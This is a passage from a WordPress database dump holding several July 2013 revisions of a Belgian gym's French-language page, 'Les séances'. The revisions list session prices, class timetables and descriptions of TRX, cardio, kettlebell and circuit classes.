:&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:09:17', '2013-07-03 16:09:17', '', 11, 'http://www.crosstrainingcenter.be/?p=161', 0, 'revision', '', 0),
(159, 1, '2013-07-03 15:55:25', '2013-07-03 15:55:25', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi[attr class=\&quot;objectif\&quot;],Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 15:55:25', '2013-07-03 15:55:25', '', 11, 'http://www.crosstrainingcenter.be/?p=159', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(160, 1, '2013-07-03 16:08:26', '2013-07-03 16:08:26', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,&amp;lt;b&amp;gt;Lundi[attr class=\&quot;objectif\&quot;]&amp;lt;/b&amp;gt;,&amp;lt;b&amp;gt;Mardi&amp;lt;/b&amp;gt;,&amp;lt;b&amp;gt;Mercredi&amp;lt;/b&amp;gt;,&amp;lt;b&amp;gt;Jeudi&amp;lt;/b&amp;gt;,&amp;lt;b&amp;gt;Vendredi&amp;lt;/b&amp;gt;\r\n&amp;lt;b&amp;gt;17h30&amp;lt;/b&amp;gt;,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n&amp;lt;b&amp;gt;18h15&amp;lt;/b&amp;gt;,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n&amp;lt;b&amp;gt;19h00&amp;lt;/b&amp;gt;,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n&amp;lt;b&amp;gt;19h45&amp;lt;/b&amp;gt;,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 